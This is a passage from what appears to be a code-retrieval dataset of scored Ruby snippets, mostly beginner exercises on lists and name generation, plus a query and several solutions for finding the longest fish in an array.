"score": "0.5593348",
"text": "def make_list (list, quantity = $default_quantity)\r\n list_arr = list.split\r\n list_arr.each do |list_item|\r\n $grocery_list[list_item] = quantity\r\n end\r\nend",
"title": ""
},
{
"docid": "768732732e4bed2ecc7e8a90f54ff4b7",
"score": "0.5584295",
"text": "def name(n)\n\tn.sample\nend",
"title": ""
},
{
"docid": "a75e2bc9280d989068e9246fa7a48ae6",
"score": "0.55805135",
"text": "def create_list(list)\n quantity = 1\n items = list.split(' ')\n grocery_list = { }\n\n items.each do |item|\n grocery_list[item] = quantity\n end\n grocery_list\nend",
"title": ""
},
{
"docid": "52ac8a20e313cde37aa47346e8cb395d",
"score": "0.5572039",
"text": "def batch_badge_creator(names)\n names.collect { |name| \"Hello, my name is #{name}.\"};\nend",
"title": ""
},
{
"docid": "d2892d2c49361407b4e38c6fb0d29691",
"score": "0.55659145",
"text": "def drink_classifcation(name)\n size = Sizes.select{|s| name.match(s) }.first\n milk = Milks.select{|m| name.match(m) }.first\n [name, size, milk]\nend",
"title": ""
},
{
"docid": "5906900553835b583902e5e2afaafc09",
"score": "0.55627173",
"text": "def random_name_generator\n letter_array = (\"A\" .. \"Z\").to_a\n three_letters = letter_array.shuffle.pop(3).join(\"\")\n three_numbers = (1..9).to_a.shuffle.pop(3).join(\"\")\n result = three_letters + three_numbers\n end",
"title": ""
},
{
"docid": "138aaea05f7d420cd38c2b2aa8fa29b5",
"score": "0.55549735",
"text": "def list names\n names = names.map { |name| name[:name] }\n p names\n case\n when names.count == 0\n \"\"\n when names.count == 1\n names[0]\n when names.count == 2\n names[0] + \" & \" + names[1]\n when names.count > 2\n last = names.pop\n names.join(\", \") + \" & \" + last\n end\nend",
"title": ""
},
{
"docid": "05c328679cee32ac3f085de5164cfeac",
"score": "0.5554426",
"text": "def print_big_food_list(how_many_foods, inputted_adjectives, inputted_cooking_styles, inputted_foods)\n random_adjectives_list = get_random_adjectives(how_many_foods, inputted_adjectives)\n random_cooking_styles_list = get_random_cooking_styles(how_many_foods, inputted_cooking_styles)\n random_foods_list = get_random_foods(how_many_foods, inputted_foods)\n gross_random_foods = []\n how_many_foods.times do |n|\n gross_random_food = \"#{random_adjectives_list[n]} #{random_cooking_styles_list[n]} #{random_foods_list[n]}\"\n gross_random_foods << gross_random_food\n end\n line = 1\n gross_random_foods.each do |food|\n puts \"#{line}. #{food}\"\n line += 1\n end\nend",
"title": ""
},
{
"docid": "0717bf36480854253af320237991ee32",
"score": "0.5552438",
"text": "def all_sizes\n [0.1, 0.5, 1, 5, 10]\n end",
"title": ""
},
{
"docid": "fde3f64c16ac25b897ae91c55f6016c5",
"score": "0.5550656",
"text": "def print_names(name_bank)\n puts name_bank.length.to_s + \" names converted: \"\n name_bank.each do |name, new_name|\n puts \"#{name} becomes #{new_name}\"\n end\nend",
"title": ""
},
{
"docid": "daa3971ac0d5654c403b234a6a4077da",
"score": "0.5546143",
"text": "def print_list(grocery_list)\n puts \" Grocery List\"\n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize} --> #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "daa3971ac0d5654c403b234a6a4077da",
"score": "0.5546143",
"text": "def print_list(grocery_list)\n puts \" Grocery List\"\n grocery_list.each do |item, quantity|\n puts \"#{item.capitalize} --> #{quantity}\"\n end\nend",
"title": ""
},
{
"docid": "1bbdbeeb86c30df1db17ba8d20199805",
"score": "0.55456275",
"text": "def human_size(*args); end",
"title": ""
},
{
"docid": "c2974b390c59e8caae9e2dcd1540ece8",
"score": "0.554463",
"text": "def size; '' end",
"title": ""
},
{
"docid": "c1cb5e50d4453a85da3caea3be9b049b",
"score": "0.5541577",
"text": "def draw_letters\n letter_pool = {\n A: 9, B: 2, C: 2, D: 4, E: 12, F: 2, G: 3, H: 2, I: 9, J: 1,K: 1, L: 4, M: 2, N: 6, O: 8, P: 2, Q: 1, R: 6, S: 4, T: 6, U: 4, V: 2, W: 2, X: 1, Y: 2, Z: 1 \n }\n\n hand = []\n letter_pool.each do |letter, quantity|\n quantity.times do |i|\n hand << letter.to_s\n end\n end\n\n return hand.sample(10)\nend",
"title": ""
},
{
"docid": "f4bb35093e9937888126d58a164ba028",
"score": "0.55365837",
"text": "def namegen\n\t# assign random line from textfile to variable\n\tcname = File.readlines('nameslist.txt').sample\n\tprint \"Name: \"+cname\n\thp = 15\n\tprint \"Hp: \", hp\nend",
"title": ""
},
{
"docid": "d3ad3d850cab09a271bf5ce3ed288f59",
"score": "0.55350596",
"text": "def pretty_list(list)\r\n\tputs \"Grocery List\".center(30)\r\n\tlist.each do |item, quantity|\r\n\t\tputs \"#{item} \".ljust(20) + \"#{quantity}\".rjust(10)\r\n\tend\r\nend",
"title": ""
},
{
"docid": "ba312f454075581f3ee4be96c4a40fc1",
"score": "0.5534222",
"text": "def create_lineage(names)\n new_names = []\n i = 0\n names_index = -1\n name_combos = {}\n\n while i < 25\n name = {}\n names_index = (names_index + 1) % names.length\n name[:last_name] = last_name\n\n first_name = names[names_index]\n name[:first_name] = first_name\n middle_name = (new_names.length > 2 ? new_names[new_names.length - 2][:first_name] : '')\n name[:middle_name] = middle_name\n name[:middle_name] = (if i == 0\n 'Allen'\n else\n (if i == 1\n 'Dimitri'\n else\n (i == 2 ? 'John' : name[:middle_name])\n end)\n end)\n middle_name = name[:middle_name]\n\n combo_name = \"#{first_name}_#{middle_name}\"\n if name_combos[combo_name].nil?\n name_combos[combo_name] = 1\n else\n name_combos[combo_name] += 1\n end\n title = name_combos[combo_name]\n\n name[:suffix] = Character.romanize title unless title == 1\n\n name[:age_at_son] = rand(23..35)\n\n name[:birth_year] =\n (i == 0 ? age_at_son + birth_year : new_names[new_names.length - 1][:birth_year] + new_names[new_names.length - 1][:age_at_son])\n\n death_age = rand(63..76)\n name[:death_year] = name[:birth_year] + death_age\n i += 1\n\n new_names << name\n end\n\n new_names\n end",
"title": ""
},
{
"docid": "97f04eb32e3e6a480d57db50cac7f222",
"score": "0.55305576",
"text": "def town_names amt=5, near_water=false\n starts = ['Bed', 'Brunn', 'Dun', 'Far', 'Glen', 'Tarn']\n middles = ['ding', 'fing', 'ly', 'ston']\n ends = ['borough', 'burg', 'ditch', 'hall', 'pool', 'ville', 'way', 'worth']\n waters = ['-on-sea', ' Falls']\n random_names = []\n i = 0\n while i < amt\n name = \"#{starts.sample}#{middles.sample}#{ends.sample}\"\n if near_water == 'near_water'\n name += waters.sample\n end\n random_names.push(name)\n i += 1\n end\n return random_names\nend",
"title": ""
},
{
"docid": "5633d3249f688e6eeb16962f37b8df6e",
"score": "0.55173635",
"text": "def generate_name\n names = []\n File.open(\"names.txt\").each {|str| names << str.chomp}\n @name = names[rand(names.length)]\n end",
"title": ""
},
{
"docid": "d69204796e0aea616736f427a0c38992",
"score": "0.55071145",
"text": "def name\n @page = @item/6\n # clean bitmap\n bmp = pbBitmap(@path + @nameImg)\n bitmap = @sprites[\"name\"].bitmap\n bitmap.clear\n bitmap.blt(0, 0, bmp, Rect.new(0,0,320,44))\n # draw text\n text = [\n [@pname, bmp.width/2, -5, 2, Color.white, nil],\n [\"#{@page+1}/#{@pages}\", bmp.width, -5, 0, Color.white, nil]\n ]\n pbDrawTextPositions(bitmap, text)\n bmp.dispose\n end",
"title": ""
},
{
"docid": "f5b0ebe165cf4bff600b63b25f32c81e",
"score": "0.55017036",
"text": "def batch_badge_creator( names )\n print_output = []\n names.each do | name |\n print_output << badge_maker( name ) \n end\n print_output # return the list ready for printing\nend",
"title": ""
},
{
"docid": "dcbafd9526065e99209fd5b8af443627",
"score": "0.5501116",
"text": "def available_sizes\n\t\tsizes =[]\n\t\tif self.inventory.xsmall > 0\n\t\t\tsizes << ['XS', 1]\n\t\tend\n\t\tif self.inventory.small > 0\n\t\t\tsizes << ['S', 2]\n\t\tend\n\t\tif self.inventory.medium > 0\n\t\t\tsizes << ['M', 3]\n\t\tend\n\t\tif self.inventory.large > 0\n\t\t\tsizes << ['L', 4]\n\t\tend\n\t\tif self.inventory.xlarge > 0\n\t\t\tsizes << ['XL', 5]\n\t\tend\n\t\tif self.inventory.xxlarge > 0\n\t\t\tsizes << ['XXL', 6]\n\t\tend\n\t\tsizes\n\tend",
"title": ""
},
{
"docid": "d275b8204f5fb1ea782fa725a95b6d86",
"score": "0.5500449",
"text": "def title(name, len=3)\r\n name[0,len]\r\nend",
"title": ""
},
{
"docid": "f38846300dd176fb8fe5ff66112bda81",
"score": "0.54988337",
"text": "def selectable_size_units\n [%w[MB mb], %w[GB gb], %w[TB tb], %w[PB pb], ['bytes', '']]\n end",
"title": ""
},
{
"docid": "7bb377141467d32293c1f8518f1695f6",
"score": "0.5496596",
"text": "def list_of_planets()\n counter = 0\n planet_names = \"\"\n @planets.each do |planet|\n planet_names += \"\\n#{counter+1}. #{planet.planet_details}\"\n counter+=1\n end\n return planet_names\n end",
"title": ""
},
{
"docid": "a6990039da719a2b0c26c6352c7a9961",
"score": "0.548871",
"text": "def name_variations(name)\n variations = []\n variations.push(name)\n variations.push(name.downcase)\n variations.push(name.upcase)\n variations.push(name.gsub(/[ _-]/, ''))\n return variations\nend",
"title": ""
},
{
"docid": "3dc3bdcc7678d85bfd00169b4c085dfe",
"score": "0.5488235",
"text": "def display_list(list_items)\n title = \"Shopping List:\"\n puts title\n puts \"-\" * title.length\n list_items.each do |item_name, item_qty|\n puts \"#{item_qty}x - #{item_name}\"\n end\n\nend",
"title": ""
},
{
"docid": "e37c869dc3bf560dd463c8a5b824c459",
"score": "0.5483828",
"text": "def create_groups(names)\n groups = []\n names.shuffle.each_slice(4) do |group|\n if group.count == 4\n groups << group\n else\n i = 0\n group.each do |name|\n groups[i] << name\n i += 1\n end\n end\n end\n p groups\nend",
"title": ""
},
{
"docid": "32feae4e4f7dcf736caf278deea0b38a",
"score": "0.5483066",
"text": "def size_and_extension\n \"#{extension.sub /\\A\\./, ''}, #{human_size}\"\n end",
"title": ""
},
{
"docid": "23dcfbe05fdfa1afd833578f6fa3db2c",
"score": "0.5473003",
"text": "def names_thingy\n arr = %w(John, KB, Oliver, Cory, Matthew, Christopher)\n arr.shuffle!\n for name in arr\n puts name\n end\n arr.reject { |elem| elem.length <= 5 }\nend",
"title": ""
},
{
"docid": "62c525d713b0d1a2267215b09fbfd002",
"score": "0.5472574",
"text": "def names()\n names = []\n names.push \"q-\"\n return names\n end",
"title": ""
},
{
"docid": "b98e9d156710d7f5fcb5fd19a92fa296",
"score": "0.54718274",
"text": "def generate_string(size)\n charset = [('a'..'z'),('A'..'Z'),(0..9)].map { |i| i.to_a }.flatten\n return (0...size).map{ charset[rand(charset.length)] }.join\n end",
"title": ""
},
{
"docid": "b46ce2ef69ff0bdcb3a90fabcf2629c2",
"score": "0.5465838",
"text": "def list_names\n list_of_names = String.new\n Contacts.each { |contact| list_of_names = list_of_names + contact[1][:name_choices] + \", \" }\n return list_of_names\nend",
"title": ""
},
{
"docid": "53fa2965df854a83daa2e393a1b2d07b",
"score": "0.5459941",
"text": "def build_list_of_players\n [\n \"cliff\",\n \"anne\",\n \"harry\",\n \"sam\",\n \"devin\",\n \"ally\",\n \"bob\",\n \"jane\",\n \"jimmy\",\n \"dave\"\n ]\nend",
"title": ""
},
{
"docid": "895ab657959a9335fa51fa95f2a33432",
"score": "0.54472816",
"text": "def size\n ['o', 'k', 'G'].inject(super.to_f) do |s, unit|\n # recusively divide by 1024 until...\n if s.is_a?(Float) && s >= 1024\n s = s / 1024\n # we format it here with the unit\n elsif !s.is_a?(String)\n s = \"#{s.to_s.gsub(/(\\.\\d{3})\\d+$/, \"\\\\1\")} #{unit}\"\n end\n s\n end\n end",
"title": ""
},
{
"docid": "dee53a3b1026e03ff8e79dda5b282b77",
"score": "0.5442589",
"text": "def display_choices(selections)\n display = []\n selections.each do |y, z|\n thing = \"[#{z.to_s}]#{y.to_s.slice(z.length, y.length)}\"\n display << thing\n end\n display\nend",
"title": ""
},
{
"docid": "6745d592810c7a7537ddb5ad4f4d6719",
"score": "0.5440021",
"text": "def initialize(_name, _size, _clatters, _weight)\n @name = _name\n @size = _size.downcase\n @clatters = _clatters.downcase\n @weight = _weight.downcase\n end",
"title": ""
},
{
"docid": "706f0987a08b0c386e3a0deb4a7a62c4",
"score": "0.54398686",
"text": "def list\n list = \"\"\n i = 0\n @planets.each do |planet|\n list << \"#{i+1}. #{planet}\\n\"\n i += 1\n end\n return list\n end",
"title": ""
},
{
"docid": "c3c0abee31cbe446ee384ef38177d61b",
"score": "0.5435162",
"text": "def size\n \"#{width}x#{height}\"\n end",
"title": ""
},
{
"docid": "c3c0abee31cbe446ee384ef38177d61b",
"score": "0.5435162",
"text": "def size\n \"#{width}x#{height}\"\n end",
"title": ""
},
{
"docid": "679cfc0c46784700eca41c7415792be2",
"score": "0.54331636",
"text": "def list_title(n=40)\n st = title[0..n].to_s\n st += \"...\" unless title.length <= n\n st\n end",
"title": ""
},
{
"docid": "95eb2444e0571089edc97f85716fe145",
"score": "0.5432225",
"text": "def product_sizes(product)\n return product.size.split(',').map(&:to_s)\n end",
"title": ""
},
{
"docid": "d821ced77cdb8552e8b65f2b409918d8",
"score": "0.54267114",
"text": "def craft_names(rand_words, snippet, pattern, caps=false)\nnames = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\nend\n\nreturn names * 2\nend",
"title": ""
},
{
"docid": "1b999b20b85b8e96a80a71e4cec554b1",
"score": "0.5424795",
"text": "def img_name_size(file, size)\n return file.sub(\"_300\", \"_#{size}\")\n end",
"title": ""
},
{
"docid": "26cfe10bc00c3f9a622e56cf1c83e0b6",
"score": "0.54238486",
"text": "def to_s #return a string\n return \"#{@name}: \" + \" \" *(10 - @name.length)+ \"#{@price}\"\n end",
"title": ""
},
{
"docid": "800a73ca37a7bee38d37c10d0e2f9fe6",
"score": "0.5418343",
"text": "def batch_badge_creator(name)\n badge_list = []\n name.each do |n|\n badge_list.push(\"Hello, my name is #{n}.\")\n end\n badge_list\nend",
"title": ""
},
{
"docid": "d4960a60213c8d1d1988b6011ed856f2",
"score": "0.54123116",
"text": "def pbPocketNames; return [\"\",\n _INTL(\"Items\"),\n _INTL(\"Medicine\"),\n _INTL(\"Jermo Balls\"),\n _INTL(\"TMs & HMs\"),\n _INTL(\"Bewwies\"),\n _INTL(\"Mail\"),\n _INTL(\"Battle Items\"),\n _INTL(\"Key Items\")\n]; end",
"title": ""
},
{
"docid": "c4be9c318058db4e064e71a7a83e0544",
"score": "0.54108435",
"text": "def size\n case\n when @count < 1000 then 'tiny'\n when @count < 2000 then 'small'\n when @count < 3000 then 'medium'\n when @count < 4000 then 'large'\n when @count < 5000 then 'hefty'\n else 'massive'\n end\n end",
"title": ""
},
{
"docid": "f6863b7b6bbc99a3281617047ca251d9",
"score": "0.54073346",
"text": "def showExampleArr\n strings = ['Mike', 'x-ray', '1,000,000', 'NASCAR', '!', '你好', 'zebra',\n '\"The Force is strong with this one.\"', 'éclairs', 'milk', '???',\n 'a merry Christmas', 'Ruby', 'milky', 'ABC', 'NASCAR']\n maxLength = '\"The Force is strong with this one.\"'.length\n printStrings(strings, maxLength)\n puts '(Please press enter)'\n gets\n return [strings, maxLength]\nend",
"title": ""
},
{
"docid": "9cefba15cf6b0a12b49a98cc9a61242b",
"score": "0.54048806",
"text": "def create_name\n prefix = ('A'...'Z').to_a.shuffle[0..1].join('')\n suffix = (100..1000).to_a.sample\n \"#{prefix}#{suffix}\"\n end",
"title": ""
},
{
"docid": "0be87b149fb7a2c98d9b4d9e4936a776",
"score": "0.54036075",
"text": "def town_names(amount,location)\n starts=['Bed','Brunn','Dun','Far','Glen','Tarn']\n middles=['ding','fing','ly','ston']\n ends=['borough','burg','ditch','hall','pool','ville','way','worth']\n near_water=['falls','-on-sea']\n mountain=['Mount ', 'The hills of ']\n names=[]\n\n amount.times do\n if location == 'near_water'\n names.push(starts.sample+middles.sample+ends.sample+near_water.sample)\n elsif location == 'mountain'\n names.push(mountain.sample+starts.sample+middles.sample+ends.sample)\n elsif location == 'short_name'\n names.push(starts.sample+ends.sample)\n else\n names.push(starts.sample+middles.sample+ends.sample)\n end\n end\n return names\nend",
"title": ""
},
{
"docid": "535d6dce31ddb0658fa764593834d88f",
"score": "0.5403255",
"text": "def list names\ncase names.size\n when 0\n \"\"\n when 1\n names[0][:name]\n when 2\n \"#{names[0][:name]} & #{names[1][:name]}\"\n else\n \"#{names[0..names.size-2].map { |x| x[:name] }.join(\", \")} & #{names[names.size-1][:name]}\"\n end\nend",
"title": ""
},
{
"docid": "70fd7efef1044236d616deb4d06d91b0",
"score": "0.54021096",
"text": "def size(w,h)\n @size = \"#{w}x#{h}\"\n end",
"title": ""
},
{
"docid": "e08fab8f8fe1645c18a1c680fe6a2a00",
"score": "0.5399297",
"text": "def gen_str strLen\n\t sortedAlphabet = @alphabet.sort\n resultStrs = [ ] \n testStrings = [ ]\n testStrings[0] = [] \n testStrings[0].push \"\"\n 1.upto(strLen.to_i) { |x|\n testStrings[x] = []\n testStrings[x-1].each { |s|\n sortedAlphabet.each { |c|\n testStrings[x].push s+c\n }\n }\n }\n testStrings.flatten.each { |s|\n resultStrs.push s if accept? s\n }\n result = \"\"\n resultStrs.each { |x| result.concat '\"'+x+'\" ' }\n result\n end",
"title": ""
},
{
"docid": "8d9e18aede722a5765c6d435e0aff1cc",
"score": "0.5394114",
"text": "def print_list(glist)\n\tputs \"Grocery Shopping list\"\n\tglist.each do |item, count|\n\t\tputs \"#{item}: \".ljust(20) + \" #{count}\".rjust(20)\n\tend\nend",
"title": ""
},
{
"docid": "acd407f45b66f9133734e2c233fd90a3",
"score": "0.5391886",
"text": "def create_list(string, value=1)\n string.split(\" \").each do |item|\n $grocery_list[item] = value\n end\n # puts \"Initial list created:\"\n $grocery_list\nend",
"title": ""
},
{
"docid": "ba4d2226b66911a10f327fb2a8e01570",
"score": "0.5391442",
"text": "def print_short_names(names, max_letters=12)\n\n puts \"All names shorter than %i characters\" % max_letters\n names.select {|anyname| anyname[:name].length < max_letters}.each_with_index do |name, index|\n print_name(name, index)\n end\nend",
"title": ""
},
{
"docid": "54037be2a23e14c1b84c5b534c592e0e",
"score": "0.5383145",
"text": "def list(names)\n if names.size == 0 ; return ''\n elsif names.size == 1 ; return \"#{names[0][:name]}\"\n else ; first_elements = names[0..-2].map {|element| element[:name]}\n return \"#{first_elements.join(\", \")} & #{names[-1][:name]}\"\n end\nend",
"title": ""
},
{
"docid": "a7188e667708ed04066bc4e0c02ce967",
"score": "0.53803056",
"text": "def craft_names(rand_words, snippet, pattern, caps=false) # caps defaults to false\n names = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\n end\n\n return names * 2 # return the names variable twice as an array\nend",
"title": ""
},
{
"docid": "c99f702692583b578ae93dc9c2fbf130",
"score": "0.53747153",
"text": "def live_name\n [\n transformed_part('product'),\n middle_name(standalone: false), # Will have word dividers on either side\n idx,\n maybe_upto,\n '-',\n parts['sku'] =~ /editorial/ && bang? ? 'square-' : nil,\n [name_base, ext_name].join\n ].compact.join\n end",
"title": ""
},
{
"docid": "ad75511bb667ed59724efd242e138da8",
"score": "0.5374663",
"text": "def create_list(string)\n list = string.split(' ')\n qty = 1\n grocery_list = {}\n list.each { |item| grocery_list[item] = qty }\n grocery_list\nend",
"title": ""
},
{
"docid": "0acaea683757b6b2356234fdd6589c18",
"score": "0.53740114",
"text": "def take_a_number(the_deli, name)\n the_deli << \"#{name}\" #names to be added into the_deli array\n puts \"Welcome, #{name}. You are number #{the_deli.length} in line.\"\nend",
"title": ""
},
{
"docid": "d862a682082b5a87bc2e9ac794ae4d2e",
"score": "0.5361072",
"text": "def create_list(groceries)\n default_qty = 1\n grocery_list = {}\n groceries.split(\" \").each {|grocery| grocery_list[grocery] = default_qty}\n #pretty_print(grocery_list)\n grocery_list\nend",
"title": ""
},
{
"docid": "f6d820468ac6cb838db8f634f0ae1bd2",
"score": "0.53596896",
"text": "def craft_names(rand_words, snippet, pattern, caps=false)\n names = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\n end\n# unsure as to why 2 names are returned\n return names * 2\nend",
"title": ""
},
{
"docid": "40fea223f65d07f9a5a39adc5e736d2e",
"score": "0.5357133",
"text": "def print_list(list)\n\t# input: list\n\t# output: none\n\n\t# print header\n\tputs \"Grocery List\\n------------\"\n\t# iterate over list\n\tfor item, qty in list do\n\t\t# print each item to screen ex: \" - Lemonade, 2 liters\"\n\t\tputs \" - #{item}, #{qty}\"\n\tend\n\nend",
"title": ""
}
] |
c0735337cc425e162568fd9d339e4cf8 | Find the longest fish in O(n log n) time. | [
{
"docid": "eaea1052ef68ec6ae87bff86aa288f99",
"score": "0.0",
"text": "def dominant(fishes)\n prc = Proc.new { |a, b| b.length <=> a.length }\n fishes.merge(&prc).first\nend",
"title": ""
}
] | [
{
"docid": "a1b6d2838797ed811307c6f7afd51104",
"score": "0.8433142",
"text": "def linear_longest_fish(fishes)\n biggest = fishes.first\n fishes.each do |fish|\n biggest = fish if fish.length > biggest.length\n end\n biggest\nend",
"title": ""
},
{
"docid": "f2af64c387d56af93d12bd8e7e182625",
"score": "0.7893376",
"text": "def linear_fish(arr)\n longest = nil\n arr.each_with_index do |fish, idx|\n longest = fish if longest.nil? || fish.length > longest.length\n end\n\n longest\nend",
"title": ""
},
{
"docid": "2ff809d40a418cb6c933a7f74f0d392c",
"score": "0.7875572",
"text": "def linear_search(fishies)\n longest = 0\n big_fish = nil\n fishies.each do |fish|\n if fish.length > longest\n longest = fish.length\n big_fish = fish\n end\n end\n big_fish\nend",
"title": ""
},
{
"docid": "3087f83e85832ced12adee899b517552",
"score": "0.7736504",
"text": "def sluggish_octopus\n # O(N^2)\n longest_fish = \"\"\n Fishes.each do |fish1|\n Fishes.each do |fish2|\n longest_fish = fish2 if fish2.length > fish1.length\n end\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "31023b223de39f7e78049339b5a1c484",
"score": "0.7723184",
"text": "def find_fish_lengths_1\n longest = false\n (0...Fish.length - 1).each do |i|\n (0..Fish.length - 1).each do |i2|\n Fish[i] = first_fish\n Fish[i2] = next_fish\n longest = Fish[i] if Fish[i].length > fish[i2].length\n end\n end\n longest\nend",
"title": ""
},
{
"docid": "6f1f4a092db8ed8c2a3be0ab8dc1dfb0",
"score": "0.77157736",
"text": "def quadratic_longest_fish(fishes)\n biggest = nil\n fishes.each_index do |i|\n fishes.each_index do |j|\n if fishes[i] > fishes[j] && i != j\n biggest = fishes[i]\n end\n end\n end\n return biggest\nend",
"title": ""
},
{
"docid": "c0a69590578feddeb73c9cdf15c784bd",
"score": "0.7715555",
"text": "def clever_octopus(fishes)\n longest_fish = fishes.first\n\n fishes[1..-1].each do |fish|\n longest_fish = fish if fish.length > longest_fish.length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "055cfa82dd36738b0692f5061869f47c",
"score": "0.77088976",
"text": "def linear()\n longest = FISH[0]\n\n (1...FISH.length).each do |i|\n fish = FISH[i]\n longest = fish if longest.length < fish.length \n end\n\n return longest\n end",
"title": ""
},
{
"docid": "103eff6a2397edc8aa5a3ef7730ed879",
"score": "0.7677985",
"text": "def clever_octopus(fish)\n longest_fish = fish[0]\n fish.each { |fishy| longest_fish = fishy if fishy.length > longest_fish.length }\n longest_fish\nend",
"title": ""
},
{
"docid": "034cfef24feaecc7d374a900b4164862",
"score": "0.76422113",
"text": "def clever_octopus(fish)\n longest = fish.first\n\n fish.each do |el|\n if el.length > longest.length\n longest = el\n end\n end\n longest\nend",
"title": ""
},
{
"docid": "641e7051ddf1c4ba379f087ddf13177f",
"score": "0.76167846",
"text": "def clever_octopus(fishes)\n longest_fish = fishes[0]\n\n fishes.each do |fish|\n longest_fish = fish if fish.length > longest_fish.length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "a4dec7c5680d01dfd343f72d8a98aefd",
"score": "0.7559992",
"text": "def longest_fishie(fishies)\n longest_fish = \"\"\n\n fishies.each do |fish|\n longest_fish = fish if fish.length > longest_fish.length\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "6c9a8fd70b86fee984cc735f185085e5",
"score": "0.74282825",
"text": "def longest_fishie_nested_loop(fishies)\n longest_fish = \"\"\n (0...fishies.length).each do |i|\n (i+1...fishies.length).each do |j|\n next if i == fishies.length - 1\n fish_compare = fishies[i].length <=> fishies[j].length\n # debugger\n if fish_compare > 0\n longest_fish = fishies[i] if fishies[i].length > longest_fish.length\n elsif fish_compare < 0\n longest_fish = fishies[j] if fishies[j].length > longest_fish.length\n end\n end\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "a72b399b5179444212cd8c7e168b7e0c",
"score": "0.73600215",
"text": "def longest_fish(array)\n longest = ''\n array.each { |fish| longest = fish if fish.length > longest.length}\n longest\nend",
"title": ""
},
{
"docid": "fa8da11c39bb70ae14523a9eb225b67e",
"score": "0.7312888",
"text": "def sluggish_octopus(fishes)\n fishes.length.times do |i|\n longest_fish = fishes[i]\n\n fishes.length.times do |j|\n next if i == j\n longest_fish = nil if fishes[j].length > fishes[i].length\n end\n\n return longest_fish if longest_fish\n end\nend",
"title": ""
},
{
"docid": "1df857235ed6da54f9894597f720bf62",
"score": "0.7290627",
"text": "def quadratic_fish(arr)\n longest = nil\n arr[0...-1].each_with_index do |fish1, idx|\n (idx+1...arr.length).each do |idx2|\n fish2 = arr[idx2]\n longest = fish1.length > fish2.length ? fish1 : fish2\n end\n end\n\n longest\nend",
"title": ""
},
{
"docid": "480bdf79ff8cb56c8cbc52f386a8ae75",
"score": "0.72855264",
"text": "def dominant_longest_first(fish)\n dominant_octopus(fish).first\nend",
"title": ""
},
{
"docid": "547b4b8ab5b863881b247bcd9555c07b",
"score": "0.72514373",
"text": "def clever_octopus(fishes)\n current_biggest_fish = fishes[0]\n\n fishes.each_with_index do |fish, i|\n if fish.length > current_biggest_fish.length\n current_biggest_fish = fish\n end\n end\n\n current_biggest_fish\nend",
"title": ""
},
{
"docid": "7f6f7d263e9a1ec0eca4e949525102d8",
"score": "0.7233722",
"text": "def clever_octopus(the_sea)\n longest = the_sea[0]\n\n the_sea.each do |fish|\n if fish.length > longest.length\n longest = fish\n end\n end\n\n longest\nend",
"title": ""
},
{
"docid": "19df219c01071e6f673f7119427d0cd4",
"score": "0.72217494",
"text": "def sluggish_octopus(fish)\n longest_fish = fish.first\n\n (0...fish.length).each do |start|\n (start...fish.length).each do |ending|\n if fish[ending].length > fish[start].length \n longest_fish = fish[ending]\n else\n longest_fish = fish[start]\n end\n end\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "e917c67f9a7608bc5c31ad08eeaba9da",
"score": "0.7156753",
"text": "def clever_octopus(arr)\n longest = nil\n\n arr.each do |fish|\n longest = fish if longest.nil? || fish.length > longest.length\n end\n\n longest\nend",
"title": ""
},
{
"docid": "5450c65c04292610e65f6247ad4b31e4",
"score": "0.7140874",
"text": "def clever_octopus(fish)\n longest = \"\"\n fish.each do |item|\n longest = item if item.length > longest.length\n end\n longest\nend",
"title": ""
},
{
"docid": "2fcd850c8f5ddede1090a9888c69d0fe",
"score": "0.71150124",
"text": "def clever(fish)\n longest_fish = \"\"\n fish.each do |fishy|\n longest_fish = fishy if longest_fish.length < fishy.length\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "b7563514b7618ab8c66fa5a5cde0c5a0",
"score": "0.7103732",
"text": "def clever_octopus(array)\n\n longest_fish = array.first\n (1...array.length).each do |idx|\n longest_fish = array[idx] if array[idx].length > longest_fish.length\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "23c4862d41aac357d3f1ee47d6871ed9",
"score": "0.71024334",
"text": "def fish_finder(fish_arr)\n biggest_fish = nil \n fish_arr.each do |fish|\n biggest_fish = fish if biggest_fish == nil || fish.length > biggest_fish.length\n end\n\n biggest_fish\nend",
"title": ""
},
{
"docid": "98028b534355646c707e501cf78e26d7",
"score": "0.7092869",
"text": "def clever(fishes)\n longest_fish = fishes[0]\n i = 1\n\n while i < fishes.length\n longest_fish == fishes[i] if fishes[i].length > longest_fish.length\n i += 1\n end\n longest_fish\nend",
"title": ""
},
{
"docid": "cca6b7697c9a2ef67ea7d43c960159ce",
"score": "0.70886075",
"text": "def clever_octopus(fish_array)\n longest = \"\"\n\n fish_array.length.times do |i|\n if fish_array[i].length > longest.length\n longest = fish_array[i]\n end\n end\n\n longest\nend",
"title": ""
},
{
"docid": "bd926a2fa1a090576e1e48ab439a820f",
"score": "0.7087257",
"text": "def sluggish_octopus(fishes)\n fishes.each_with_index do |fish1, idx1|\n longest = true\n\n fishes.each_with_index do |fish2, idx2|\n next if idx1 == idx2\n longest = false if fish2.length > fish1.length\n end\n\n return fish1 if fish1 = longest\n end\n\nend",
"title": ""
},
{
"docid": "f9582b5aac6b6d31f0954a70491b637e",
"score": "0.70811844",
"text": "def sluggish_o(fishes)\n #comparing fishes with itself.\n #if fish1 is smaller than any other fish\n # it's not the biggest fish.\n #the largest fish has no other fish longer than itself.\n \n fishes.each_with_index do |fish1, idx1|\n longest_fish = true\n \n fishes.each_with_index do |fish2, idx2|\n next if idx1 == idx2\n longest_fish = false if fish2.length > fish1.length\n end\n return fish1 if longest_fish\n end\n \n end",
"title": ""
},
{
"docid": "070eabd87fd49e0a2baf7ae684268a0c",
"score": "0.70148414",
"text": "def sluggish_octopus(fish)\n longest_fish = fish.first\n\n fish.each do |current_fish|\n\n fish.each do |other_fish|\n if current_fish.length > other_fish.length\n longest_fish = current_fish\n else\n longest_fish = other_fish\n end\n end\n end\n\n longest_fish\nend",
"title": ""
},
{
"docid": "3a1523f245c1ce28066cc39f4a788a4c",
"score": "0.7007186",
